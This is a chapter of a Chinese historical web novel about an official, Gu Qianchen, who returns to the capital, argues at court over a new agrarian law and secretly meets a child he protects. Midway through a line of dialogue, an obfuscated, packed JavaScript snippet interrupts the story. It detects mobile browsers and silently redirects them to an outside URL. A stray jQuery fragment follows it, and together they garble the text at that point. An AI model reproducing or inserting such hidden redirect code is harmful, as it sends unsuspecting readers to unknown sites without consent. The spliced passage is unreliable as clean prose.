沿东水门进城,东京的繁华与喧闹扑面而来。
顾浅尘负手立在船头,穿越隔岸传来的喧嚣,于清冷的晨雾中,嗅到东京城熟悉的波谲云诡。铁塔寺隐在云雾里,俯瞰众生,默然垂悯。
三日后进宫朝见,这几日,顾浅尘正好走访故交,离京快一年,不知多少事发生。
外患未平。
年初郭奎、燕答二位大将率兵五万,南下交趾平边患。未曾想,半年不到,交趾便又集结兵力,分水陆两路大举入侵。
内忧隐隐。
如今,同中书门下平章事闻相为保守派之首,掌管吏部、户部等要部,参政知事王副相为变法派之首,主导“麦苗法”等新法推行。官家的棋局很有意思,两派各有所职又各有牵制,一些重要事项必须合作,方能成事,如此可避免两派势同水火,扰乱朝局,可两派之争难免,不得消停。
户部郎中司马瑜已成保守派党羽,从派系上说也可算子承父业。只是闻相其人刚愎自用,与司马相爷大为不同,如今的保守派,比当年司马相爷主持的保守派,在朝堂上激进许多。顾浅尘在离京前就吃了闻相不少苦头,司马瑜因“夺妻之恨”恨不得把顾浅尘抽筋剥皮,此二人不会轻易放过自己。
过去在谏院,顾浅尘自诩能游走于两派之间,连官家也因此高看他一眼。可贬至杭州知州后,要务之一便是在杭州督行“麦苗法”,已身不由己陷入变法派之列,再无中立身份。顾浅尘索性高调登门王相府,至少先把吕荟勤等因妒才或私利结怨之流摆平,多一个朋友,少一个敌人。
王栋消瘦了许多,顾浅尘原以为好兄弟是因礼部公务繁忙所致,后来才得知是为情所困,他与司马蕙的婚事,司马瑜横加阻拦,唯一的解法是王副相亲自登门到司马府提亲,可这二人多年恩怨,早就老死不相往来,王栋的事便遥遥无期地耽搁下来。
好在江府诸事皆宜。江知忠在翰林院与世无争,安如磐石。含辞继妹江含钰与王相次子王松明年就要成婚,继弟江含钦虽丢了闲职,只在家中做个富贵闲人,但他不惹是生非就是造化。顾浅尘甚至找了刘太医打听江知忠的病情,得知今年冬季咳疾已未再犯,便替含辞安心不少。好在江家都是好消息。
三日后,顾浅尘进宫朝见。
星夜,顾浅尘随着百官自宣德门旁的右掖门入宫,依稀想起以往上朝的日子,浮起些旧荣新辱的念头。
文德殿朝见,官家依旧意气激昂,风华不减。吏部按制式走流程,官家无非点了几个地方官问些赋税、灾害等事。到顾浅尘时,便特让他把杭州“麦苗法”试行情形说了一番。
顾浅尘把一年来的情形汇报一番,又把试行中的几项改善措施介绍了,最终结论是建议“麦苗法”可在国朝全面推行。
此话一出,便等同于扔出个炸弹,两派在朝堂上便针对“麦苗法”是否在国朝全面推行争执起来。几个保守派党羽,直指余杭曹三灭门案,大做文章,变法派奋起反驳,替顾浅尘挡了许多刀子。
后来不知道是哪个武官接了个话头扯到交趾又犯边境之事上,朝堂之争愈演愈烈,官家不胜其扰,扶额宣了退朝。
顾浅尘心里叹口气,没想到如今朝堂风气竟至如此,这般倾轧、内耗,政令如何有效推行。如今官家不是他相见就见,他无可奈何地往宣德门走去。
“浅尘留步。”王副相喊住他,“走,随我面见官家。”
“官家宣了我?”顾浅尘面有喜色。
“官家召我,说要再议‘麦苗法’一事,这不明摆着要见你么。”
二人来到延英殿,官家正皱着眉头喝一盏茶。见顾浅尘随着王副相进来,并不意外,把茶盏放下,直接发话:“成日这么争论不休,宣一道政令竟如此之难?”余气未消。
“官家,咱们今年已推了好几项新法,‘麦苗法’牵涉甚广,动及一些士族根本,是以他们竭力反对,不出意外。”王副相安慰道。
“你倒是替他们圆场。那几项新法,哪一项不是争来吵去定下的?‘麦苗法’于国朝和百姓都有裨益,若不是顾卿劝我稳妥起见,先做试行,年初我便下令推行了。如今,他们还在朝堂如此这般,简直不把我这个皇帝放在眼里!”官家越说越动气。
保守派背后还有太后及诸多老臣坐镇,官家生气也不无道理。王副相和顾浅尘垂头听着,连声告请官家息怒。
官家自己消了气,走下堂来,端详着顾浅尘,“顾卿这一年,可安好?”
“顾卿,少了你在朝堂,朕这一年头疼不已,刚刚上朝你也见着了。去年着你去杭州历练,也是权宜之计。如今‘麦苗法’推行在即,你回京来,朕着你到户部,帮着王相推行新法。”
户部,抢司马瑜的位置,向死对头闻相汇报工作?官家真是瞧得起顾浅尘。顾浅尘不敢吱声。
王副相苦笑道:“官家,余杭曹三灭门案,他们呈了十几个劄子弹劾顾浅尘,您如今是把顾知州直接推到他们的地盘啊?”
“那时,顾卿的陈情劄子若是来得再迟些,朕还真是要兴师问罪了。”官家自言自语道,他眉头一扬,“可朕如今就需要顾卿这样的人,让他继续留在杭州是大材小用。”
顾浅尘谢过恩,慎重说道:“新法有王副相主持井然有序,官家的鸿业远图都可徐徐推之。若是‘麦苗法’想尽快推行,臣有一计。”
“快说。”
擒贼先擒王--顾浅尘省去这一句,说道:“臣在杭州推‘麦苗法’,亲眼所见百姓对‘麦苗法’的拥护,此次来京,臣携了一幅织锦绣画,展现的便是百姓对‘麦苗法’心怀感恩之情。听闻太后素来喜爱织锦,若官家将这幅绣画献上,再徐徐道之,太后必能知晓新法是大势所趋,谅解官家的一片苦心。”
“妙,此计妙矣。”官家笑道。他也不是不愿去找母后说情,只是欠缺个由头,顾浅尘找的这个由头甚是不错。
从延英殿出来,王副相佯装生气道:“好你个顾浅尘,早就备好了计策,怎么不一早拿出来,朝堂上我们理论得面红耳赤,大动干戈,何苦来哉!”
顾浅尘嘿嘿一笑,若不是朝堂上这么大动干戈一番,怎么劝得动官家放下脸面去找太后求情。
“王相,此事成后,还请您帮我求个面见官家的机会。”
“官家要把你召回汴京,恐怕不必我去谋求,官家自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450226|201165||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会宣你。”
嗯,官家需要刀子,需要的很。
出了宣德门,长留将马牵来,附耳道:“那边来信了,在忻乐楼等您。”
忻乐楼依旧是门庭若市,这样鱼龙混杂的地方,正适合接头传递消息。顾浅尘上了二楼,推开一间酒阁子,只见一个丫鬟打扮的姑娘,膝上抱着个孩童,正拿着饴糖在逗他。
丫鬟见到来人,满面欣喜,即刻抱起身上的孩子走过来,“公子!可算盼到你回京了!”她低头对怀中的孩子道:“桓儿少爷,你看谁来了!”说着,将桓儿递给顾浅尘。
桓儿才满两岁,手中拿着一块饴糖,嘴上还沾了些糖渍,他眼见丫鬟要将自己交给陌生人,马上皱起一张脸,张开小嘴哇的一声要哭出来。
顾浅尘忙制止了丫鬟,“芰荷,桓儿都一年没见到我,早认不出来了,别吓到他。”
“你过来有没有人跟着?”
“我是求了蕙小姐出来的,一路留意着,没有可疑的人。”
“这一年我不在汴京,你们都还好吗?”
“公子,芰荷死都不会忘了您和含辞小姐的嘱托。桓儿少爷在府中是由我照顾的,二爷…,司马瑜是一概不管,现下是蕙小姐主持中馈,她念着含辞小姐的情,对桓儿少爷和我都多有照拂。”
“苦了你了,一直留在司马府替我照顾桓儿。也只有你,我们才放心。”
“公子,您这一年过得好吗?可寻到含辞小姐了?”
“嗯。再过阵子,我定会想法子把你和桓儿接出来。”
“公子放心,我会好好照顾桓儿少爷。只盼您和含辞小姐顺顺当当的,咱们能早日团圆。”
短暂一聚,顾浅尘到离开也没能抱抱桓儿,但他见桓儿偎在芰荷怀里满足的模样,就知道芰荷把他带的很好。
两岁,在桓儿开蒙前定要将他接出来,时日不多了。
回到顾府,小厮来报,有位小姐候了许久。
“司马小姐,好久不见。”顾浅尘意外,也不意外。
司马蕙较一年前褪去不少稚气,小小年纪代职一府主母,想来这一年历练不小。
司马蕙开门见山道,“含辞姐姐可好?”
你怎能这么笃定我寻到了她?“她现下安好,她应该也惦记着你。”
“若你见到她,告诉她我一直都好,我现下主持中馈,父亲母亲不会把主母之位交给秦氏,我会照顾好桓儿,好好将他扶养成人,助他成才。”
“谢谢!你和王栋……”顾浅尘小心问道。
“我哥不同意我和王家来往。”司马蕙看起来并不伤感,“现下府里需要我,日后若有了合适的掌家人,那时我推脱不得,也就另嫁他人了。”
“一年不见,你不但模样变了,心性也变了,若是含辞见到……”
“含辞姐姐必会劝我追寻自己的心意,罢了,我们不说这个。我一直有个问题要问你。”
“嗯?”
“你对桓儿为何如此不同?”
顾浅尘盯住司马蕙的眸子,想起来眼前这个小姑娘成为了含辞几次与司马府对抗,忤逆她哥哥甚至母亲的意思,助含辞出逃……